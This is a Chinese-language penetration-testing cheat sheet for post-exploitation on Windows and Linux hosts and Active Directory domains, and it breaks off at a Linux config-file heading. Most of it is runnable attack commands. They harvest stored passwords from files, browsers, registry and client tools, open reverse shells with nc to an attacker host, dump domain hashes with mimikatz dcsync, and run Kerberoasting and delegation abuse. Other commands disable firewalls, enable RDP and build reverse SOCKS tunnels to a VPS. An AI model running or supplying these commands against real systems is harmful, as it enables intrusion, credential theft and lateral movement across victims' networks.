c:\inetpub\logs\LogFiles\W3SVC1\u_ex[YYMMDD].log c:\inetpub\logs\LogFiles\W3SVC2\u_ex[YYMMDD].log c:\inetpub\logs\LogFiles\FTPSVC1\u_ex[YYMMDD].log c:\inetpub\logs\LogFiles\FTPSVC2\u_ex[YYMMDD].log
- 远程登录日志
c:\windows\system32\winevt\logs\*.remote*
- 主机远程登录日志
HKCU\Software\Microsoft\Terminal Server Client\Servers HKCU\Software\Microsoft\Terminal Server Client\Default
- 服务器登录日志 登录事件ID 4624,可判别出登录域控制器的机器
C:\Windows\System32\winevt\Logs\Security.evtx
日志与事件信息
wevtutil
- 获取windows远程桌面 连接记录
cmdkey /list # 查看mstsc的连接纪录
- 获取系统日志信息
两种方式:
1. 一种本地导出
copy C:\Windows\System32\winevt\Logs\System.evtx copy C:\Windows\System32\winevt\Logs\security.evtx copy C:\Windows\System32\winevt\Logs\application.evtx
2. 工具导出
.\psloglist -x system > system.log ..\psloglist -x security > security.log ..\psloglist -x application > application.log
- 检查是否安装了XAMPP,Apache或PHP,以及是否有XAMPP,Apache或PHP的配置文件
dir /s php.ini httpd.conf httpd-xampp.conf my.ini my.cnf
- 查看是否有Apache网络日志
dir /s acces.log error.log
- 查看是否有其它有意思的文件,它们可能在用户目录中(桌面,文档等)
dir /s *pass* == *vnc* == *.config* 2>nul
- 检查配置文件
cd /web、findstr /s /m "password" *.*
- 检查其中是否有包含密码的文件
findstr /si password *.xml *.ini *.txt *.config 2>nul 如:pass.txt user.txt 等 如:web.config ,conn.php web.xml等
- 检查其中是否有包含密码的文件
findstr /si password *.xml *.ini *.txt *.config 2>nul findstr /si password *.txt # 查询含有PASSWORD关键字的所有txt findstr /si password *.xml findstr /si password *.ini # 查找文件的位置 C:\> dir /b /s unattend.xml C:\> dir /b /s web.config C:\> dir /b /s sysprep.inf C:\> dir /b /s sysprep.xml C:\> dir /b /s *pass* C:\> dir /b /s vnc.ini
- Windows 自动安装过程中的一些凭证(base64)存储位置
C:\unattend.xml C:\Windows\Panther\Unattend.xml C:\Windows\Panther\Unattend\Unattend.xml C:\Windows\system32\sysprep.inf C:\Windows\system32\sysprep\sysprep.xml # Metasploit 如下模块也可以获取到 post/windows/gather/enum_unattend # 安装IIS 管理凭证的 web.config可能包含明文密码 文件常见路径 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config C:\inetpub\wwwroot\web.config 文件内容通常如下: <?xml version="1.0" encoding="UTF-8"?> <configuration> <system.web> <authentication mode="Windows"> <forms> <credentials passwordFormat="Clear"> <user name="Admin" password="Admin" /> </credentials> </forms> </authentication> </system.web> </configuration> # 包含密码的 groups.xml 文件和其他一些可能存储凭证的文件 C:\ProgramData\Microsoft\Group Policy\History\????\Machine\Preferences\Groups\Groups.xml \\domain\SYSVOL\\Policies\????\MACHINE\Preferences\Groups\Groups.xml Services\Services.xml ScheduledTasks\ScheduledTasks.xml Printers\Printers.xml Drives\Drives.xml DataSources\DataSources.xml
- PowerShell获取剪贴板信息
- 内网渗透提权exp补丁对比工具
- 探测等级1
net group "Domain Admins" /domain
- 探测等级2
for /f %i in (1.txt) do net user %i /domain >>user.txt
- 获取本地共享信息
net view /a \%COMPUTERNAME%
- 查看本机共享信息
net share
- 利用wmic查找共享
wmic share get name,path,status
- 查看连接驱动
net use wmic logicaldisk get caption,description,providername
- 使用accesschk查看权限配置较弱的服务,以及能否重新配置
accesschk.exe -uwcqv "Everyone" * accesschk.exe -uwcqv "Authenticated Users" * accesschk.exe -uwcqv "Users" *
- 查看未引用的服务路径
wmic service get name.displayname,pathma,e,startmode 2>nul | findstr /i "Auto" 2>nul | findstr /i /v "C:\Windows\\" 2>nul | findstr /i /v """
- 本地端口开放与连接信息
netstat -ano
- 阿里云列出IIS的站点信息
%windir%\system32\inetsrv\AppCmd.exe list site
- 保存系统上所有注册表信息
reg export HKLM hklm.reg reg export HKCU hkcu.reg reg export HKCU hkcr.reg reg export HKCU hku.reg reg export HKCU hkcc.reg
- 查询本机所有的盘符
wmic logicaldisk get description,name,size,freespace /value fsutil fsinfo drives fsutil fsinfo volumeinfo C:|findstr "卷名" 查看卷名称,需要管理员权限
- empire收集信息,管理员权限
usemodule powershell/situational_awareness/host/winenum
- 查看杀毒软件
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState,pathToSignedProductExe
- 查看当前机器的进程信息
tasklist /svc # 显示当前机器所有的进程所对应的服务 [只限于当前用户有权限看到的进程] tasklist /m # 显示本地所有进程所调用的dll [同样只限于当前用户有权限看到的进程] tasklist /v # 寻找进程中有无域管启用的进程,或者杀软进程 taskkill /im iexplore.exe /f # 用指定进程名的方式强行结束指定进程
- 指定目录下搜集各类敏感文件
dir /a /s /b d:\"*.txt" dir /a /s /b d:\"*.xml" dir /a /s /b d:\"*.mdb" dir /a /s /b d:\"*.sql" dir /a /s /b d:\"*.mdf" dir /a /s /b d:\"*.eml" dir /a /s /b d:\"*.pst" dir /a /s /b d:\"*conf*" dir /a /s /b d:\"*bak*" dir /a /s /b d:\"*pwd*" dir /a /s /b d:\"*pass*" dir /a /s /b d:\"*login*" dir /a /s /b d:\"*user*"
- 指定目录下的文件中搜集各种账号密码
findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak findstr /si userpwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak findstr /si pwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak findstr /si login *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak findstr /si user *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
- 查看,删除 指定文件
type c:\windows\temp\admin_pass.bak # 查看某个文件内容 del d:\ad\*.* /a /s /q /f # 强制删除指定路径下的所有文件 tree /F /A D:\ >> file_list.txt # 导出指定路径下的文件目录结构 rd /q/s c:\windows\temp\test # 删除文件夹
- 历史凭证信息收集
引用自:https://github.com/klionsec/RedTeamer 批量抓取当前机器上的 "各类基础服务配置文件中保存的各种账号密码" 比如,各种数据库连接配置文件,各类服务自身的配置文件(redis,http basic...)... 想办法 "控制目标 运维管理 / 技术人员 的单机,从这些机器上去搜集可能保存着各类敏感网络资产的账号密码表" 比如, *.ls,*.doc,*.docx, *.txt.... 抓取各类 "数据库客户端工具中保存各种数据库连接账号密码 比如,Navicat,SSMS[MSSQL自带客户端管理工具,里面也可能保存的有密码(加密后的base64)] 抓取当前系统 "注册表中保存的各类账号密码hash" [ Windows ] 抓取当前系统所有 "本地用户的明文密码/hash" [ Windows & linux ] 抓取当前系统的所有 "用户token" [ Windows ] 抓取 "windows凭据管理器中保存的各类连接账号密码" 抓取 "MSTSC 客户端中保存的所有rdp连接账号密码" 抓取各类 "VNC客户端工具中保存的连接密码" 抓取 "GPP目录下保存的各类账号密码" [ 包括组策略目录中XML里保存的密码hash 和 NETLOGON目录下的某些脚本中保存的账号密码 ] 抓取各类 "SSH客户端工具中保存的各种linux系统连接账号密码", SecureCRT,Xshell,WinSCP,putty 抓取各类 "浏览器中保存的各种web登录密码和cookie信息",Chrome [360浏览器],Firefox,IE,QQ浏览器 抓取各类 "数据库表中保存的各类账号密码hash" 抓取各类 "FTP客户端工具中保存的各种ftp登录账号密码", filezila, xftp... 抓取各类 "邮件客户端工具中保存的各种邮箱账号密码", forxmail, thunderbird... 抓取各类 "SVN客户端工具中保存的所有连接账号密码及项目地址" 抓取各类 "VPN客户端工具中保存的各种vpn链接账号密码"
- 利用工具CrackMapExec
https://github.com/byt3bl33d3r/CrackMapExec
#CrackMapExec 列出共享 cme smb 192.168.127.235 -u admin -p 'xxxeeee' --shares 列出会话 cme smb 192.168.127.235 -u admin -p 'xxxeeee' --sessions 列出磁盘信息 cme smb 192.168.127.235 -u admin -p 'xxxeeee' --disks 列出登录的用户 cme smb 192.168.127.235 -u admin -p 'xxxeeee' --loggedon-users 列出域用户 cme smb 192.168.127.235 -u admin -p 'xxxeeee' --users 根据唯一的RID列出所有的用户 cme smb 192.168.127.235 -u admin -p 'xxxeeee' --rid-brute 列出域组 cme smb 192.168.127.235 -u admin -p 'xxxeeee' --groups 列出本地组 cme smb 192.168.127.235 -u admin -p 'xxxeeee' --local-groups 列出域密码策略 cme smb 192.168.127.235 -u admin -p 'xxxeeee' --pass-pol 尝试空会话 cme smb 192.168.127.235 -u '' -p '' 列出指定域信息 cme smb 192.168.127.235 -u admin -p 'xxxeeee' -d LABNET 列出ntds.dit的历史信息 cme smb 192.168.127.235 -u admin -p 'xxxeeee' --ntds-history 爬行C盘目录信息 cme smb 192.168.127.235 -u admin -p 'xxxeeee' --spider C\$ --pattern txt cme smb 192.168.127.235 -u admin -p 'xxxeeee' --spider C\$
- Lazagne
LaZagne一个收集密码工具-LaZagne,每个软件都使用不同的技术(纯文本,API,自定义算法,数据库等)存储其密码,这个工具是用来获取存储在本地计算机上的密码,诸如浏览器密码等等
https://github.com/AlessandroZ/LaZagne
- psloggedon
查看本地登陆的用户和通过本地计算机或远程计算机登陆过的用户。如果指定的是用户名而不是计算机名,程序会搜索网上邻居中的计算机。原理是通过检查注册表HKEY_USERS的key值来查询谁登陆过。某些功能需要管理权限
PS:日志是本地机器的管理员日志,可以用脚本或者内置应用wevtutil导出来看,工具:psloggedon.exe,netview.exe,PVEFindADUser.exe,powersploit的PowerView脚本,Empire的user_hunter模块
https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon
- psexec
psexec针对远程建立连接的认证方式有两种,一种先建立ipc连接,然后直接用psexec \10.10.10.10 cmd命令开启一个半交互式的cmdshell,另一种是在psexec的参数中指定账号密码。
https://github.com/poweradminllc/PAExec
psexec \\10.10.10.10 c:\file.bat
psexec是什么?
是一个轻型的telnet代替工具,可以在远程系统上执行程序,不过特征明显会报毒,同时会产生大量日志。msf下也有对应的模块,搜索关键字即可命令为:
psexec \\target -accepteula -u username -p password cmd.exe
- 利用powershell收集域信息
Set-ExecutionPolicy RemoteSigned #开启RemoteSigned权限 Import-Module .\PowerView.ps1 Get-DNSRecord -ZoneName xxcom.local
- 读取浏览器里存储的密码的工具【WebBrowserPassView】
支持IE4.0~11.0,火狐全版本、Chrome、Safari和Opera浏览器里的密码
- 浏览器 firefox
%appdata%\Roaming\Mozilla\Firefox\Profiles\*.defualt\logins.json %appdata%\Roaming\Mozilla\Firefox\Profiles\*.defualt\key3.db %appdata%\Roaming\Mozilla\Firefox\Profiles\*.defualt\place.sqlite
- 浏览器 chrome
// chrome记住密码保存的数据库位置 %LocalAppData%\Google\Chrome\User Data\Default\Login Data
- Mail PassView【邮件客户端读取密码 mailpv】
该工具支持全版本的windows操作系统,支持如下客户端: Outlook Express Microsoft Outlook 2000 (POP3 和 SMTP 账户) Microsoft Outlook 2002/2003/2007/2010/2013 (POP3, IMAP, HTTP 和 SMTP 账户) Windows Mail Windows Live Mail IncrediMail Eudora Netscape 6.x/7.x Mozilla Thunderbird Group Mail Free Yahoo! Mail Hotmail/MSN mail Gmail
- 3389远程桌面登陆密码工具【rdpv】
读取保存在.rdp文件中的远程桌面密码
- MessenPASS【读取一些社交软件客户端里存储的密码】
读取一些社交软件客户端里存储的密码。目前支持的客户端有: MSN Messenger Windows Messenger (仅支持dows XP) Windows Live Messenger (仅支持ndows XP/Vista/7) Yahoo Messenger (Versions 5.x and 6.x) Google Talk ICQ Lite 4.x/5.x/2003 AOL Instant Messenger Trillian Trillian Astra Miranda GAIM/Pidgin MySpace IM PaltalkScene Digsby
- 读取密码mimikatz
dpapi::cred/in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\92FB159ED290FC523E845094404697A
- ie代理获取
reg query "HKEY_USERSS-1-5-21-1563011143-1171140764-1273336227-500SoftwareMicrosoftWindowsCurrentVersionInternet Settings" /v ProxyServer reg query "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet Settings"
通过PCA文件查看执行如下语句
reg query "HKEY_USERSS-1-5-21-1563011143-1171140764-1273336227-500SoftwareMicrosoftWindowsCurrentVersionInternet Settings" /v AutoConfigURL
- 查找本地的Credentials
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
- 第三方软件
McAfee
McAfee 的加密凭证存储在 sitelist.xml 文件中
%AllUsersProfile%Application Data\McAfee\Common Framework\SiteList.xml
VNC
UltraVNC
[ultravnc] passwd=5FAEBBD0EF0A2413
RealVNC
RealVNC 的密码可以直接在注册表进行查询
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password
Putty
reg query" HKCU\Software\SimonTatham\PuTTY\Sessions"
- PowerSploit 相关的模块
PowerSploit 也可以用于发现存储的凭证,以下模块支持检查各种文件和注册表中的加密凭证和 plain-text
Get-UnattendedInstallFile Get-Webconfig Get-ApplicationHost Get-SiteListPassword Get-CachedGPPPassword Get-RegistryAutoLogon
0x10 获取本地开放的端口与连接信息
- 查看本地的计划任务
at或schtask
- 查看计划任务信息(如果资源无法加载问题,是由于当前活动页码所致,将页码修改未437即可:chcp 437)
schtasks /query /fo LIST /v
- 查看计划任务和自定义实现
schtasks /query /fo LIST 2>nul | findstr TaskName dir C:\windows\tasks PS:(无法加载列资源,将编码设为chcp 437)
- 查看主机开机时间
net statistics workstation
- 查看计划任务信息
schtasks /query /fo LIST /v
- 查看启动项
wmic startup get caption,command reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
- AlwaysInstallElevated是否启用
reg query HKCU\Software\Microsoft\Windows\Installer /v AlwaysInstallElevated
- 查看tcp/udp网络连接状态信息
netstat -ano # 查看本机所有的tcp,udp端口连接及其对应的pid netstat -anob # 查看本机所有的tcp,udp端口连接,pid及其对应的发起程序 netstat -ano | findstr "ESTABLISHED" # 查看当前正处于连接状态的端口及ip netstat -ano | findstr "LISTENING" # 查看当前正处于监听状态的端口及ip netstat -ano | findstr "TIME_WAIT" # 查看当前正处于等待状态的端口及ip
- 基于icmp,探测主机
for /L %I in (0,1,254) DO @ping -w 1 -n 1 192.168.7.%I | findstr "TTL=" >> pinglive.txt
PS:常用的工具[最多10秒一个c段]:nbtscan[基于smb和netbios的内网主机发现方式]、Ladon、自开发工具
socks代理扫描:Goby
- 查询进程
tasklist /wmic process list brief
- 查询本机服务
wmic service list brief
- Netsh 端口转发(自带)
netsh interface portproxy add v4tov4 listenport=80 connectport=80 connectaddress=10.10.10.8 protocol=tcp
- nc 端口转发
类型 A主机(攻击机) B主机(反弹机) 解释 正向 nc -nvv B主机IP 5555 nc -l -p 5555 -t -e cmd.exe A主机正向连接B主机 反向 nc -lvvp 5555 nc -t -e cmd.exe A主机ip 5555 A主机监听,B主机反向连接
- frp 端口转发
https://github.com/f4nff/frp/blob/master/README_zh.md
1)一键安装脚本
https://github.com/qxzg/frp-install-shell
https://github.com/MvsCode/frps-onekey
- Venom
工具下载:https://github.com/Dliv3/Venom/releases
文档使用:https://github.com/Dliv3/Venom
- reGeorg
工具下载:https://github.com/sensepost/reGeorg
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
- SSH
本地转发:
ssh -CfNg -L 本机端口1:本机地址:本机端口2 账号@IP地址
将本机端口2转发到本机端口1
远程转发:ssh -CfNg -R 本地端口:目标地址:目标端口 账号@IP地址
将内网服务器的地址转发到外网端口
动态转发:ssh -qTfnN -D 本地端口 账号@ip地址
将任意端口转发至本地端口,常见的就是挂代理后用代理工具访问。
例如我将cobaltstrike开启后限制外网IP访问,只能通过ssh动态转发打通隧道后访问,防止被爬取指纹,暴露自己。
- EarthWorm
工具下载:https://github.com/idlefire/ew
使用说明:
1. 正向 SOCKS v5 服务器 $ ./ew -s ssocksd -l 1080 ew -s ssocksd -l 10809 2. 反弹 SOCKS v5 服务器 这个操作具体分两步: a) 先在一台具有公网 ip 的主机A上运行以下命令: $ ./ew -s rcsocks -l 1080 -e 8888 b) 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口 $ ./ew -s rssocks -d 1.1.1.1 -e 8888 成功。 3. 多级级联 工具中自带的三条端口转发指令, 它们的参数格式分别为: $ ./ew -s lcx_listen -l 1080 -e 8888 $ ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999 $ ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999 通过这些端口转发指令可以将处于网络深层的基于TCP的服务转发至根前,比如 SOCKS v5。 首先提供两个“二级级联”本地SOCKS测试样例: a) lcx_tran 的用法 $ ./ew -s ssocksd -l 9999 $ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999 b) lcx_listen、lcx_slave 的用法 $ ./ew -s lcx_listen -l 1080 -e 8888 $ ./ew -s ssocksd -l 9999 $ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999 再提供一个“三级级联”的本地SOCKS测试用例以供参考 $ ./ew -s rcsocks -l 1080 -e 8888 $ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999 $ ./ew -s lcx_listen -l 9999 -e 7777 $ ./ew -s rssocks -d 127.0.0.1 -e 7777 数据流向: SOCKS v5 -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks
- Goproxy
工具:https://github.com/snail007/goproxy
使用文档:https://github.com/snail007/goproxy/blob/master/README_ZH.md
方式 命令 反向 外部VPS:lcx.exe -listen 1111 2222
受害者:lcx.exe -slave VPSip 1111 127.0.0.1 3389访问本地2222就为受害者3389正向 lcx.exe -tran 1111 2.2.2.2 8080
访问本地1111端口就是2.2.2.2的8080端口
- Mssql
clr相关项目地址:https://github.com/blackarrowsec/mssqlproxy
什么是clr
CLR(common language runtime)即公共语言运行库,从SQL Server 2005(9.x) 开始,集成了CLR组件,意味着可以使用任何 .NET Framework语言来编写存储过程、触发器、用户定义类型、用户定义函数、用户定义聚合和流式表值函数
流程往往为 制作恶意CLR => 导入程序集 => 利用执行,这里偷个懒,先mark一下。恰巧的时候已经有一个小哥做了分析 https://xz.aliyun.com/t/7993 ,后面我去看看!
3
0x11 防护墙配置
- 检查防火墙
netsh firewall show state # 查看防火墙状态 netsh firewall show config # 查看防火墙配置 netsh advfirewall firewall show rule name=all netsh advfirewall export "firewall.txt"
- 关闭防火墙
Windows Server 2003系统及以前版本 netsh firewall set opmode disable Windows server 2003之后系统版本 netsh advfirewall set allprofiles state off
- 查询防火墙配置
netsh firewall show config
- 修改防火墙配置
Windows Server 2003系统及之前版本,允许指定程序全部链接 netsh firewall add allowedprogram c:\nc.exe "allow nc" enable Windows server 2003 之后系统版本 允许指定程序连入 netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe" 允许指定程序连出 netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C:\nc.exe" 允许 3389 端口放行 netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
- 自定义防火墙日志存储位置
netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"
- 开启远程桌面连接
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
0x12 查询远程连接服务
- 查看远程连接端口
在cmd下使用注册表查询语句,命令如下,得到连接端口为0xd3d,转换后为3389
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber
- Windows 7下获取System权限
sc create syscmd binPath= "cmd /K start" type= own type=interact // 创建任务 net start syscmd // 运行 syscmd 任务 sc delete syscmd // 删除 syscmd 任务
0x13 工作组信息收集
工作组采取的一般都是常规渗透方法,因为工作组一般都是个人和少数服务器。
扫描网段中的web服务,常用的有phpstudy,wampserver等,来寻找搭建的服务漏洞
扫描开放端口信息,以及对应的服务,判断是否存在漏洞。
扫描主机由于没有更新到最新版本导致的系统漏洞,比如MS17-010,补丁号为KB4013389
hash抓取,hash注入,hash碰撞,口令爆破,IPC登陆,WMI,未授权访问,文件共享系统。
ARP嗅探/欺骗攻击(Cain和Ettercap)
DNS劫持,会话劫持。
社会工程学
...
0x14 其它
- 查看当前机器的环境变量配置,看有没有我们可以直接利用到的语言环境
set
- 查看当前机器的NT内核版本,不弹窗
ver
- 查看当前机器的NT内核版本,弹窗,在非图形界面不执行这个命令
winver
- 列出当前机器上的所有盘符
fsutil fsinfo drives
- 查看当前机器开启的共享
net share
- 查看当前机器安装的驱动列表
driverquery
- 设置共享
net share public_dir="c:\public" /grant:Everyone,Full
- 找当前用户可读写目录,可能会很多
dir /a-r-d /s /b
分割线
0x15 域凭据收集
域Hash
在拿到域控权限后,有时候需要导出域内所有主机的Hash,对应的文件为 C:\Windows\NTDS\NTDS.dit 导出所有用户的hash,但是这个是一直被占用的,如果直接去复制会抛出如下错误:
这时候需要用到卷影备份的方法
ntdsutil + ntdsdump
然后再使用 ntdsdump.exe (也有看到直接用的,我只有这样成功...)
Mimikatz
万能的猕猴桃
为啥用Mimikatz能直接dump呢,搬运一下wing仔翻译的文章:
Mimikatz有一个功能(dcsync),它利用目录复制服务(DRS)从NTDS.DIT文件中
检索密码哈希值。这样子解决了需要直接使用域控制器进行身份验证的需要,因为它可以从域管理员的上下文中获得执行权限。因此它是红队的基本操作,因为它不那么复杂mimikatz.exe privilege::debug "lsadump::dcsync /domain:xxcom.local /all /csv" exit
Access Token
msf 下的 incognito。getsystem也是去搜寻可用的令牌进行提权
Kerberosting
原理
因为看过Kerberos协议,结合蓝军文章可以简单理解。在Kerberos第二阶段(即与TGS通信)完成时会返回一张ST,ST使用Server端的(当时我说是NLTM Hash)密码进行加密。当 Kerberos 协议设置票据为 RC4 方式时,我们就可以通过爆破在Client端获取的票据ST,获取对应的Server端的密码。(学到了,很开心)
实操
首先安装一个 mssql ,注册 spn 服务
setspn -A MSSQLSvc/web.xxcom.local xxcom\web
注意需要为本地管理员权限,否则会提示权限不足
先查询 SPN,上面已经介绍过,查询看到刚刚注册的 MSSQL
运行Add-type时报错,其实为缺少依赖,为了节省时间直接换到DC上去操作
$SPNName="MSSQLSvc/web.xxcom.local" Add-Type -AssemblyNAme System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityoken -ArgumentList $SPNName
在 mimikatz 中运行 kerberos::list /export
之后跑的工具为 tgsrepcrack.py ,下载地址:https://github.com/nidem/kerberoast
python tgsrepcrack.py wordlist xxxxxx
密码喷射
使用到的工具为kerbrute,可以爆破用户,也可以进行密码喷射
0x16 横向移动
账号密码连接
IPC
IPC是共享”命名管道”的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。利用IPC$,连接者甚至可以与目标主机建立一个连接,利用这个连接,连接者可以得到目标主机上的目录结构、用户列表等信息。利用条件:
139,445端口开启
管理员开启默认共享
net use \\1.1.1.1\ipc$ "password" /user:username
wmihacker
工具下载:https://github.com/360-Linton-Lab/WMIHACKER
WinRM
WinRM(Windows Remote Management)即windows远程管理,基于Web服务管理。感觉就像是SSH ~
用账号密码即可远程连接
winrs -r:http://targetip:5985 -u:Administrator -p:password "1qaz@WSX"
PS:一般来说,5985是http,5986是https
查找有基于资源委派的get-adcomputer 账户名 -properties principalsallowedtodelegatetoaccount
通过S4U协议申请一个高权限的
getST.py -dc-ip 10.10.10.10 xxcom.local/spnspnspn\$:spnspnspn -spn cifs/web.xxcom.local -impersonate administrator export KRB5CCNAME=administrator.ccache
- 查找约束与非约束委派
导入 PowerSploit\Recon\PowerView.ps1
查询域内非约束账户查询: 账户查询:Get-NetUser Unconstrained -Domain xxcom.local 主机查询:Get-NetComputer Unconstrained -Domain xxcom.local 查询域内约束 查看用户:Get-DomainUser -TrustedToAuth -Domain xxcom.local 查看主机:Get-DomainComputer -TrustedToAuth -Domain xxcom.local
非约束委派的利用
用域控上的administrator去访问web
在web主机上起个猕猴桃,找到那个TGT票据
sekurlsa::tickets /export
在猕猴桃中把这个票据导入即可,其实也是PTT攻击(想一下拿到 Administrator的TGT票据,那不就和拿了黄金票据的目的一样嘛)指令为kerberos::ptt xxxx.kirbi还有一个点刚学到的,sekurlsa::tickets是内存中所有的,而kerberos::list 是当前会话中的,所以sekurlsa需要提权至system下进行利用。非约束委派的那个图里画了,TGT是会被放在内存中的,所以用猕猴桃可以抓到
约束委派的利用
原理流程简易版:
申请TGT
利用TGT获取ST
导入ST
首先用kekeo获取TGT
https://github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos
tgt::ask /user:web /domain:xxcom.local /password:1qaz@WSX
利用TGT去申请两个ST。问题来了,为什么是两个。其中一个ST是验证自身的,另外一个ST就是 S4U2Proxy 扩展中申请的TGS票据
tgs::s4u /tgt:xxxxx /user:[email protected] /service:cifs/dc.xxcom.local
最后mimikatz导入
kerberos::ptt xxx
后续待补充... ...
分割线
Linux 信息收集
0x01 版本信息
所有版本
uname -a hostname
内核版本信息
uname -r uname -mrs rpm -q kernel dmesg | grep Linux ls /boot | grep vmlinuz- PS:知道版本号后,用kali 搜索相关的漏洞 命令: searchsploit -w ubuntu 16.04 4.4.x
系统主机名字
uname -n
Linux内核架构
uname -m
查看内核信息
cat /proc/version
查看cpu信息
cat /proc/cpuinfo
发布信息
cat /etc/*-release | cat /etc/issue
主机名
hostname
文件系统
df -a
内核日志
dmesg / /var/log/dmesg
0x02 用户和组
当前用户
whoami
当前用户信息
id
- 当前组
groups
- 显示目前登录系统的用户信息
who
- 查找SUID 文件
find / -perm -u=s 2>/dev/null
- 查找执行哪些 sudo 命令无需密码
sudo -l
PS:sudo 执行的文件,提权辅助:https://gtfobins.github.io/
- 当前用户可用的所有命令
compgen -c
查看系统所有用户
cat /etc/passwd
查看系统都有组
cat /etc/group
查看所有用户hash(需root)
cat /etc/shadow
- freebsd系统中也有类似sudo的机制,称作doas
cat /etc/doas.conf
查询用户基本信息
finger
当前登录的用户
w #目前登录的用户
users | who -a | /var/log/utmp
登录过的用户
last | /var/log/wtmp
显示系统中所有用户最近一次登录信息
lastlog | /var/log/lastlog
登录成功日志
cat /var/log/secure
登录失败日志
/var/log/faillog
特权用户查看
grep :0 /etc/passwd
查看passwd最后修改时间
ls -l /etc/passwd
查看是否存在空口令用户
awk -F: 'length($2)==0 {print $1}' /etc/shadow
查看远程登录的用户
awk '/\$1|\$6/{print $1}' /etc/shadow
查看具有sudo权限的用户
cat /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
可以使用sudo提升到root的用户(root)
cat /etc/sudoers
列出目前用户可执行与无法执行的指令
sudo -l
- 查看邮件
ls -alh /var/mail/
0x03 环境信息
系统环境信息
env
系统环境变量信息
set
环境变量的路径信息
echo $PATH
打印历史命令
history / ~/.bash_history
显示当前路径
pwd
显示默认系统遍历
cat /etc/profile
显示可用shell
cat /etc/shells
0x04 进程信息
显示进程信息
ps aux ps -ef
系统资源使用情况(
总览系统全面信息命令,Ctrl + C 退出界)
top -c top
查看进程关联文件
lsof -c $PID
完整命令行信息
/proc/$PID/cmdline
进程的命令名
/proc/$PID/comm
进程当前工作目录的符号链接
/proc/$PID/cwd
运行程序的符号链接
/proc/$PID/exe
进程的环境变量
/proc/$PID/environ
进程打开文件的情况
/proc/$PID/fd
0x05 服务信息
由inetd管理的服务列表
cat /etc/inetd.conf
由xinetd管理的服务列表
cat /etc/xinetd.conf
nfs服务器的配置
cat /etc/exports
邮件信息
/var/log/mailog
ssh配置
sshd_config
0x06 计划任务
显示指定用户的计划任务
crontab -l -u %user% /var/spool/cron/* /var/spool/anacron/* /etc/crontab /etc/anacrontab /etc/cron.* /etc/anacrontab
开机启动项
/etc/rc.d/init.d/ ls /etc/rc.d/init.d/
- 查看开机启动服务命令
chkconfig
- 查看 rc 启动文件
cat /etc/rc.local crontab -l ls -alh /var/spool/cron ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab cat /etc/anacrontab cat /var/spool/cron/crontabs/root
0x07 网络、路由和通信
列出网卡接口信息
ip addr show | /sbin/ifconfig -a
列出网络接口信息
cat /etc/network/interfaces
查看系统arp表
arp -a
路由信息
route / ip ro show
查看dns信息
cat /etc/resolv.conf
本地端口开放信息
netstat -an
列出iptables 配置规则
iptables -L
端口服务映射
cat /etc/services
主机名
hostname
PID #查看进程端口情况
netstat -anltp | grep
- 显示和操作IP路由表
route
- 显示核心路由表
ip route
- 显示邻居表
ip neigh
- 查看DNS
cat /etc/resolv.conf
0x08 已安装的程序
rpm -qa --last #Redhat
yum list | grep installed #CentOS
ls -l /etc/yum.repos.d/
ls -alh /usr/bin/
ls -alh /sbin/
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/
dpkg -l #Debian
cat /etc/apt/sources.list #Debian APT
pkg_info #xBSD
pkginfo #Solaris
pacman -Q #Arch Linux
0x09 文件
最近5天的文件
find / -ctime +1 -ctime -5
0x10 公私钥信息
~/.ssh
/etc/ssh
0x11 日志
/var/log/boot.log
/var/log/cron
/var/log/faillog
/var/log/lastlog
/var/log/messages
/var/log/secure
/var/log/syslog
/var/log/wtmp
/var/run/utmp
0x12 常见配置文件
- Linux 常见配置文件
